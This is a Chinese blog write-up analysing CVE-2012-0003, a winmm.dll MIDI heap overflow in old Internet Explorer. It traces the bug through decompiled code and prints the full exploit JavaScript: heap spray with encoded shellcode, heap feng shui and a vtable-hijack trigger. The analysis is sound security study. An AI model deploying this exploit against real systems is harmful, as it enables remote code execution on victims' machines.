漏洞分析丨cve-2012-0003
创始人
2024-06-01 05:39:05
0

作者:黑蛋

一、漏洞简介

这次漏洞属于堆溢出漏洞,他是MIDI文件中存在的堆溢出漏洞。在IE6,IE7,IE8中都存在这个漏洞。而这个漏洞是Winmm.dll中产生的。

二、漏洞环境

虚拟机

调试工具

目标软件

辅助工具

XP-SP3、Kali

OD、IDA

IE6

Windbg组件gflags.exe

三、MIDI文件简介

MIDI文件属于二进制文件,这种文件一般都有如下基本结构:文件头+数据描述 文件头一般包括文件的类型,因为Midi文件仅以。mid为扩展名的就有0类和1类两种,而大家熟悉的位图文件的格式就更多了,所以才会出现文件头这种东西。他通过Winmm.dll解析这种文件之后可以播出音乐。

结构图如下:

块名称

块标记(四字节)

块长度(四字节)

块数据

头块

“MThd”

00000006

6字节长度

音轨块1

“MTrk”

后面块数据长度

音轨事件数据

...

...

...

...

音轨块n

“MTrk”

后面块数据长度

音轨事件数据

头结构:

偏移

长度

描述

数值

0x00

4

块标记

“MThd”

0x04

4

块长度

00000006

0x08

2

格式类型

0~2

0x10

2

音轨数

1~65535

0x12

2

每拍的计数值

0x60为八分一拍

音轨事件:

事件类型

格式

描述

关闭音符(Note Off)

0x8n note velocity

n 代表通道号,note 代表高音数值,velocity 代表按键速度

打开音符(Note On)

0x9n note velocity

n 代表通道号,note 代表高音数值,velocity 代表按键速度

触后音符(Note Aftertouch)

0xAn note amount

n 代表通道号,note 代表高音数值,amount 代表按压力度

控制器(Controler)

0xBn type value

n 代表通道号,note 代表控制项(如主音、延音等音量大小的调节),value 即为设置值

音色切换(Program Change)

0xCn num

n 代表通道号,num 代表音色号

触后通道(Channel Afertouch)

0xCn note amount

n 代表通道号,note 代表高音数值,amount 代表按压力度

滑音(Pitch Bend)

0xEn LSB MSB

n 代表通道号,LSB 代表低位值,MSB 代表高位值

四、漏洞复现

使用MSF生成exp:

使用箭头指向的链接地址,在XP-SP3中使用IE打开:

五、漏洞溯源

首先通过Windbg中一个组件gflags.exe开启IE页堆保护:

接下来找一个mid文件,或者用以下命令在kali中下载:

wget --user-agent "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)" http://127.0.0.1:8080/+mid相对路径

然后用IE继续打开之前拷贝的链接地址,出现错误,右键页面打开源文件,修改mid文件位置为绝对路径,之后另存为html文件,把mid文件放相同目录下(这样可以让winmm.dll解析mid文件触发漏洞):

接下来打开IE,再打开OD附加IE,随后拖拽1.html到IE中,在IE上方选择允许运行,断在了溢出位置:

查看各模块基址,可以发现溢出点76B2D224属于winmm.dll,随后找到此动态链接库,拖到IDA中,找到76B2D224,F5反汇编:

接下来分析这段代码,看看v26来源:

void __stdcall sub_76B2D038(int a1)

{

int v1; // edi@1

int v2; // esi@2

int v3; // ecx@5

int v4; // eax@5

bool v5; // zf@5

bool v6; // sf@5

unsigned __int8 v7; // of@5

int v8; // edx@6

int v9; // ebx@6

int v10; // ST18_4@6

unsigned int v11; // ecx@6

unsigned int v12; // eax@6

int v13; // ecx@6

unsigned __int8 v14; // al@9

signed int v15; // eax@14

int v16; // ebx@16

int v17; // esi@18

int v18; // eax@18

int v19; // ST18_4@25

int v20; // esi@26

unsigned __int8 v21; // al@27

unsigned int v22; // ebx@28

__int64 v23; // rax@32

int v24; // eax@32

int v25; // esi@34

char v26; // al@34

char v27; // dl@34

char v28; // al@36

int v29; // edx@40

char v30; // al@40

char v31; // al@42

int v32; // [sp+4h] [bp-14h]@6

int v33; // [sp+8h] [bp-10h]@6

int v34; // [sp+Ch] [bp-Ch]@6

int v35; // [sp+10h] [bp-8h]@6

char v36; // [sp+17h] [bp-1h]@30

int v37; // [sp+20h] [bp+8h]@5

signed int v38; // [sp+20h] [bp+8h]@17

char v39; // [sp+23h] [bp+Bh]@6

unsigned __int8 v40; // [sp+23h] [bp+Bh]@28

v1 = a1;

if ( !*(_DWORD *)(a1 + 52) )

{

while ( 1 )

{

while ( 1 )

{

v2 = *(_DWORD *)(v1 + 60);

if ( !v2 )

return;

if ( sub_76B2CA8A(v1) )

break;

sub_76B2CAC7(v1);

}

v3 = *(_DWORD *)v2;

v4 = *(_DWORD *)(v1 + 124) + *(_DWORD *)(*(_DWORD *)v2 + *(_DWORD *)(v2 + 36));

v7 = __OFSUB__(v4, *(_DWORD *)(v1 + 128));

v5 = v4 == *(_DWORD *)(v1 + 128);

v6 = v4 - *(_DWORD *)(v1 + 128) < 0;

v37 = *(_DWORD *)v2;

*(_DWORD *)(v1 + 116) = v4;

if ( !((unsigned __int8)(v6 ^ v7) | v5) )

return;

v8 = *(_DWORD *)(v2 + 36);

*(_DWORD *)(v1 + 124) = v4;

*(_DWORD *)(v2 + 36) += 4;

v9 = *(_DWORD *)(v2 + 36);

v10 = *(_DWORD *)(v9 + v3);

v9 += 4;

v33 = v8;

v32 = v10;

*(_DWORD *)(v2 + 36) = v9;

v34 = sub_76B2C7F7(v1, v10);

v11 = *(_DWORD *)(v9 + v37);

*(_DWORD *)(v2 + 36) = v9 + 4;

v12 = v11 >> 24;

v13 = v11 & 0xFFFFFF;

v39 = v12;

v35 = v13;

if ( v34 && v12 & 0x40 )

{

*(_DWORD *)(v2 + 28) = v33;

DriverCallback(*(_DWORD *)(v1 + 68), *(_WORD *)(v1 + 74), *(_DWORD *)(v1 + 4), 970, *(_DWORD *)(v1 + 76), v2, 0);

LOBYTE(v12) = v39;

v13 = v35;

}

v14 = v12 & 0xBF;

if ( v14 )

{

if ( v14 == 1 )

{

v19 = *(_DWORD *)(v1 + 124);

*(_DWORD *)(v1 + 48) = v13;

sub_76B2CA24(v1, v19);

}

else if ( v14 == 128 )

{

*(_DWORD *)(v2 + 36) += (v13 + 3) & 0xFFFFFFFC;

v15 = 1;

if ( v32 == -1 )

v15 = *(_DWORD *)(v1 + 140);

v16 = *(_DWORD *)(v2 + 24);

*(_DWORD *)(v1 + 136) = 0;

*(_DWORD *)(v1 + 8) |= 0x20u;

*(_DWORD *)(v1 + 52) = 1;

if ( v15 )

{

v38 = v15;

do

{

v17 = *(_DWORD *)(v16 + 4);

*(_DWORD *)(v16 + 4) = v17 + 64;

v18 = sub_76B2C7F7(v1, *(_DWORD *)(v17 + 32));

if ( v18 && !midiOutLongMsg(v18, v17, 64) )

++*(_DWORD *)(v1 + 136);

--v38;

}

while ( v38 );

}

if ( !*(_DWORD *)(v1 + 136) )

*(_DWORD *)(v1 + 52) = 0;

*(_DWORD *)(v1 + 8) &= 0xFFFFFFDF;

}

else if ( (v14 & 0x80u) != 0 )

{

*(_DWORD *)(v2 + 36) += (v13 + 3) & 0xFFFFFFFC;

}

goto LABEL_48;

}

v20 = *(_DWORD *)(v1 + 132);

if ( v34 )

break;

do

{

LABEL_48:

if ( sub_76B2CA8A(v1) )

break;

sub_76B2CAC7(v1);

}

while ( *(_DWORD *)(v1 + 60) );

if ( *(_DWORD *)(v1 + 52) )

return;

}

v21 = v13;

if ( (char)v13 < 0 )

{

*(_BYTE *)(v1 + 84) = v13;

v40 = BYTE1(v13);

v22 = (unsigned int)v13 >> 16;

}

else

{

v21 = *(_BYTE *)(v1 + 84);

v40 = v13;

v22 = (unsigned int)v13 >> 8;

v13 = v21 | (v13 << 8);

}

v36 = v21 & 0xF0;

if ( (v21 & 0xF0) == -112 || (v21 & 0xF0) == -128 )

{

v23 = v40 + ((v21 & 0xF) << 7);

v24 = ((signed int)v23 - HIDWORD(v23)) >> 1;

if ( v36 == -128 || !(_BYTE)v22 )

{

v29 = v24 + v20;

v30 = *(_BYTE *)(v24 + v20);

if ( v40 & 1 )

{

if ( !(v30 & 0xF0) )

goto LABEL_46;

v31 = v30 - 16;

}

else

{

if ( !(v30 & 0xF) )

goto LABEL_46;

v31 = v30 - 1;

}

*(_BYTE *)v29 = v31;

goto LABEL_46;

}

v25 = v24 + v20;

v26 = *(_BYTE *)v25; // 这里

v27 = *(_BYTE *)v25;

if ( v40 & 1 )

{

if ( (v27 & 0xF0) != -16 )

{

v28 = v26 + 16;

LABEL_39:

*(_BYTE *)v25 = v28;

goto LABEL_46;

}

}

else if ( (v27 & 0xF) != 15 )

{

v28 = v26 + 1;

goto LABEL_39;

}

}

LABEL_46:

midiOutShortMsg(v34, v13);

goto LABEL_48;

}

}

根据分析,可以得到以下几个局部变量和寄存机关系以及相对于的地址:

V1 = edi 76B2D050

V2 = esi 76B2D06D

v9 = ebx 76B2D0B5

V11= ecx 76B2D0C3

V13= ecx 76B2D0D1

V20 = esi 76B2D248

V21 = dl 76B2D1F3

V24= eax 76B2D21E

a1 = edi 76B2D044

在OD附加IE后,运行起来,找到以上地址下条件断点:

然后跑起来,拖入1.html,到达溢出点,Alt+L查看日志:

可以发现在溢出前,v11=v13=007DB29F,是在相应位置下条件断点:

随后拖入1.html,断在了断点处,溢出点是读取ESI位置出现异常,我们向上观察ESI的值的来源,76B2D21E处是ADD ESI,EAX:

回到IDA中,对ESI溯源:

发现v20的值来源于参数a1+132;找a1的来源,看函数引用:

继续找v6:

继续找v7,正好可以看到v7+132的值:

继续跟进去sub_76B2B29D:

综上,可以看到ESI的值指向一个1024(0x400)字节的堆空间,返回到溢出位置,ESI+0x419超出0x400,所以造成溢出。

五、漏洞利用

首先我们对exp中的JS代码进行提取:

//堆喷射技术

var heap_obj = new heapLib.ie(0x10000);

var code = unescape("%ufcf5%u40f5%u92d6%u9840%u4f48%ufcfd%u9f48%u4943%u4692%u274f%u9146%ud697%u4347%u4f41%u9143%u464b%u9949%ufc49%u379b%u46f5%ud64b%u90fc%uf941%u9b4f%ufd4b%u4f9f%u904b%u9949%u439f%u9049%ufd91%u93fc%u9b46%u2f43%u4891%u3798%ufcfc%u46d6%u4e4f%u4a92%uf5f8%u2799%u4b40%u99f5%u4e4f%u4af5%u4040%u2f43%uf597%uf537%u424f%uf93f%u4747%u924b%u2746%u979f%u933f%u97fd%u4841%u9948%u9098%u9246%u9892%u2f47%u4191%u429b%u2f49%u9991%u9ffd%u4147%u999f%u48fd%u373f%uf99f%ud6f5%u49f5%u434a%u479f%ufc96%u9940%u4f97%u989f%ufd49%u9941%u4627%u469b%u4398%u4840%u484a%u98fd%u9f93%u4940%u4a49%ud627%u48d6%u374a%uf942%uf590%u41fc%u274e%u9f41%u4f4f%uf537%u4147%ufc40%u434e%u373f%u912f%uf942%u479f%u4148%u9843%u404e%u3f4e%u4b49%u4296%ufdf5%u9692%uf597%uf996%u3f3f%u974f%uf998%u484a%u9792%u4149%u96fd%u9192%u4299%u414b%ufd3f%u9998%u91fd%u99f5%u4043%u4a93%u97f5%uf8fd%u934f%uf946%u48f9%u934b%u9f27%uf8f5%ufd4e%u4a47%u9f98%u97fc%u3f4f%u3743%ufc42%u993f%u37f9%ufc96%u9027%u4340%u9b98%u2f27%u494e%u9198%u91f8%u3796%ufcd6%ufd9b%uf947%ufcfd%u274b%u493f%u494b%u469f%uf9fd%ufc41%ufc40%u4846%u419b%ud690%u473f%u99fd%u9897%u912f%uf9fd%u439f%u9046%ufd92%u984b%u4691%u3ffd%u3f97%u434b%u2798%u9290%u46d6%u90f9%u373f%uf990%u3f96%ud6f8%u994f%u433f%ud69f%uf598%u424a%u4f48%u4ff5%uf59f%u4842%u2797%u43f8%u9742%u9f93%u2737%u993f%u93fc%u9648%ud64b%ufc90%ufd37%uf82f%u4a4e%u9bf9%uf8f5%u93fc%u9f40%u3f46%ufd4b%uf597%u2f37%u974e%u4896%u464b%u4398%uf9f8%u493f%u994b%u9b99%u9b27%u989f%u9149%u9349%u96d6%u4a99%u404b%u9f47%u2748%u91f8%u4849%u91f5%uf897%u469f%u4bfc%uf993%u42f8%u48f8%uf9d6%u43f8%u9bd6%ufd48%ufd98%u9f49%u419b%u919f%ufd4e%u4627%u419b%u3f4f%uf841%u4747%u989b%u4e48%u4e43%ufd3f%uf841%ufd49%u4191%u4e40%u4742%ufc90%ufd98%u2798%u9740%u414a%u494f%u379f%u3737%u494a%u43f9%u4647%u99d6%u42f9%u3797%u434f%u4e48%u9647%u9197%u939f%uf89b%ud6f8%u4647%u4f4a%u4a40%u92f8%u994a%u9b98%uf94b%u99f8%u929f%u9b47%u2749%ufc41%u9b9b%u422f%u919b%u4b4b%u973f%u4af9%u42f8%u933f%u424a%u9349%u9ff9%u9190%u4699%u412f%u4942%u90f5%u37fd%u4348%uf84a%uf9f5%u4696%u9299%u3ff5%ufd49%ud698%u9748%u4046%u92f5%ud640%u904b%ufc47%u4093%u9bd6%u489b%u49fd%u4b91%u9747%ufc27%u484a%u4e93%ufdfc%ufd41%u41f8%uf999%u9b4a%ud637%u9fd6%ufd48%u2f4b%u48d6%u47f5%u4143%u4b96%u4849%uf84b%u9340%uf541%u4a4f%ufd97%u4696%u274a%u929f%ufc37%u2748%u4a47%u9142%uf946%u2742%u9642%u3797%u46f5%u9b97%ufc99%u4893%u9992%u9148%ud690%uf998%u9191%u99fc%u4241%u2793%u4946%uf999%u4247%u984b%u27f5%u963f%u974a%u4f2f%u994e%u99d6%u9241%u374f%u3f2f%u4291%u4392%u274f%u9b98%u9b9b%u3ffd%u474b%uf948%u47f9%u9640%u43f5%ufc98%u82e8%u0000%u6000%ue589%uc031%u8b64%u3050%u528b%u8b0c%u1452%u728b%u0f28%u4ab7%u3126%uacff%u613c%u027c%u202c%ucfc1%u010d%ue2c7%u52f2%u8b57%u1052%u4a8b%u8b3c%u114c%ue378%u0148%u51d1%u598b%u0120%u8bd3%u1849%u3ae3%u8b49%u8b34%ud601%uff31%uc1ac%u0dcf%uc701%ue038%uf675%u7d03%u3bf8%u247d%ue475%u8b58%u2458%ud301%u8b66%u4b0c%u588b%u011c%u8bd3%u8b04%ud001%u4489%u2424%u5b5b%u5961%u515a%ue0ff%u5f5f%u8b5a%ueb12%u5d8d%u016a%u858d%u00b2%u0000%u6850%u8b31%u876f%ud5ff%uf0bb%ua2b5%u6856%u95a6%u9dbd%ud5ff%u063c%u0a7c%ufb80%u75e0%ubb05%u1347%u6f72%u006a%uff53%u63d5%u6c61%u2e63%u7865%u0065");

var DsMjWeAhGmSIMBoAvBknnercShPwpgoBVrnxZeQUReMTCxiUvuWILahMF = "%u0c0c%u0c0c";

var nops = unescape(DsMjWeAhGmSIMBoAvBknnercShPwpgoBVrnxZeQUReMTCxiUvuWILahMF);

while (nops.length < 0x1000) nops+= nops;

var shellcode = nops.substring(0,0x800 - code.length) + code;

while (shellcode.length < 0x40000) shellcode += shellcode;

var block = shellcode.substring(0, (0x80000-6)/2);

heap_obj.gc();

for (var i=0; i < 600; i++) {

heap_obj.alloc(block);

}

这一堆代码就是构造一堆0c0c0c0c+shellcode的堆喷射代码。

var heap = new heapLib.ie();

var selob = document.createElement("select")

selob.w0 = unescape("%u0c0c%u0c0c")

selob.w1 = alert

selob.w2 = alert

selob.w3 = alert

selob.w4 = alert

selob.w5 = alert

selob.w6 = alert

selob.w7 = alert

selob.w8 = alert

selob.w9 = alert

selob.w10 = alert

selob.w11 = alert

selob.w12 = alert

selob.w13 = alert

selob.w14 = alert

selob.w15 = alert

selob.w16 = alert

selob.w17 = alert

selob.w18 = alert

selob.w19 = alert

selob.w20 = alert

selob.w21 = alert

selob.w22 = alert

selob.w23 = alert

selob.w24 = alert

selob.w25 = alert

selob.w26 = alert

selob.w27 = alert

selob.w28 = alert

selob.w29 = alert

selob.w30 = alert

selob.w31 = alert

selob.w32 = alert

selob.w33 = alert

selob.w34 = alert

selob.w35 = alert

selob.w36 = alert

selob.w37 = alert

selob.w38 = alert

selob.w39 = alert

selob.w40 = alert

selob.w41 = alert

selob.w42 = alert

selob.w43 = alert

selob.w44 = alert

selob.w45 = alert

selob.w46 = alert

selob.w47 = alert

selob.w48 = alert

selob.w49 = alert

selob.w50 = alert

selob.w51 = alert

selob.w52 = alert

selob.w53 = alert

selob.w54 = alert

selob.w55 = alert

var clones = new Array(1000);

function feng_shui() {

heap.gc();

var i = 0;

while (i < 1000) {

clones[i] = selob.cloneNode(true)

i = i + 1;

}

var j = 0;

while (j < 1000) {

delete clones[j];

CollectGarbage();

j = j + 2;

}

}

feng_shui();

function trigger(){

var k = 999;

while (k > 0) {

if (typeof(clones[k].w0) == "string") {

} else {

clones[k].w0('come on!');

}

k = k - 2;

}

feng_shui();

document.audio.Play();

}

这一块是创建一个select元素,并设置第一个属性为String“0x0C0C0C0C”,其他55个为Object属性。随后创建一个1000字节数组在堆空间中,循坏拷贝selob到数组中,然后再在偶数位的数组释放堆空间。这样可以造成类似如下的堆空间:

这样空闲堆块前后都是我们自己的数据,而申请0x400有很大的概率落在我们这些堆块中间的空闲堆块中。然后在这里,String在内存中用0x08代表,Object用0x09代表。

最后调用 trigger()函数,是遍历数组元素,若属性是Object,就执行clones[k].w0('come on!'),而在这里会调用CAttrValue::GetIntoVariant函数,这个函数会获取续表指针,调用虚表函数。

这里是溢出点,在溢出点的时候AL=0x08,是String,而在代码下方箭头地址指向代码Al+1=0x09,后续调用Trigger函数,走到clones[k].w0('come on!'),而这个语句会调用虚表,每一个对象前四个字节都是虚表地址,及0C0C0C0C,从而走到我们构造的堆里面运行shellcode,下面是取消页堆,然后再溢出点下断点,走到下方AL+1的位置:

我们看一下堆喷地址0x0C0C0C0C:

这一块都是0C0C0C0C+shellcode,一直重复的地址。继续走,可以看到计算器被弹出:

相关内容

热门资讯

感恩的心串词21篇 感恩的心串词21篇  一、串词的构成要素  1、思想的深刻性;  2、知识的广泛性;  3、宣传主题...
闭幕式主持词 【必备】闭幕式主持词3篇  借鉴诗词和散文诗是主持词的一种写作手法。在当今社会生活中,主持成为很多活...
简短的上台领奖致感谢词 简短的上台领奖致感谢词(精选5篇)  获奖能在台上致感谢,不仅是一份荣誉,更是一份激励。以下是小编为...
读书会的主持词 关于读书会的主持词  主持词分为会议主持词、晚会主持词、活动主持词、婚庆主持词等。在各种集会、活动不...
档案培训班开班仪式主持词   档案管理培训班开班仪式主持词  (请大家安静,我们现在举行培训班开班仪式)  各位领导,各位学员...
学校教师团拜会主持词 学校教师团拜会主持词  主持词是主持人在节目进行过程中用于串联节目的串联词。在现今人们越来越重视活动...
培训开班仪式致辞 培训开班仪式致辞(精选19篇)  无论是在学校还是在社会中,大家肯定对各类致辞都很熟悉吧,致辞是指在...
舞蹈串烧节目主持词 舞蹈串烧节目主持词  舞蹈串烧节目应该怎么进行主持呢?以下是小编整理的舞蹈串烧节目主持词,欢迎参考阅...
元旦节目主持词 2023元旦节目主持词范文(通用16篇)  主持词是主持人在台上表演的灵魂之所在。随着中国在不断地进...
结婚典礼新郎父亲致辞 结婚典礼新郎父亲致辞(精选13篇)  在平平淡淡的学习、工作、生活中,大家对致辞都不陌生吧,致辞具有...
美剧经典台词摘选 美剧经典台词摘选  Men are not prisoners of fate, but priso...
富有诗意的开学典礼的致辞 富有诗意的开学典礼的致辞范文(通用10篇)  在日常的学习、工作、生活中,大家都不可避免地要接触到致...
女方婚礼出阁宴主持词 女方婚礼出阁宴主持词范文(通用9篇)  主持词可以采用和历史文化有关的表述方法去写作以提升活动的文化...
公司春节团拜会主持词 公司春节团拜会主持词  主持词需要富有情感,充满热情,才能有效地吸引到观众。现今社会在不断向前发展,...
灾害急救知识及技能竞赛主持词 灾害急救知识及技能竞赛主持词  主持词要注意活动对象,针对活动对象写相应的主持词。在现在的社会生活中...
赌侠经典的台词 赌侠经典的台词  刘德华,周星驰试图将《赌神》和《赌圣》的名牌发扬光大的作品,这部《赌侠》也是他们早...
小学生开学典礼主持词 小学生开学典礼主持词  主持词需要富有情感,充满热情,才能有效地吸引到观众。在当下的社会中,主持人在...
酒鬼酒著名广告词 酒鬼酒著名广告词发布时间:2017-04-01  1.酒鬼背酒鬼,千斤不嫌赘;酒鬼喝酒鬼,千杯不会醉...
优秀班会主持词 2017年优秀班会主持词  班会是班主任做好班级管理工作的一条有效途径。主持词要怎么说呢?下面是小编...
婚宴主持人词 婚宴主持人词  婚宴开始  尊敬的各位来宾,尊敬的各位亲朋好友,大家晚上好!在这天地之合的喜庆之日,...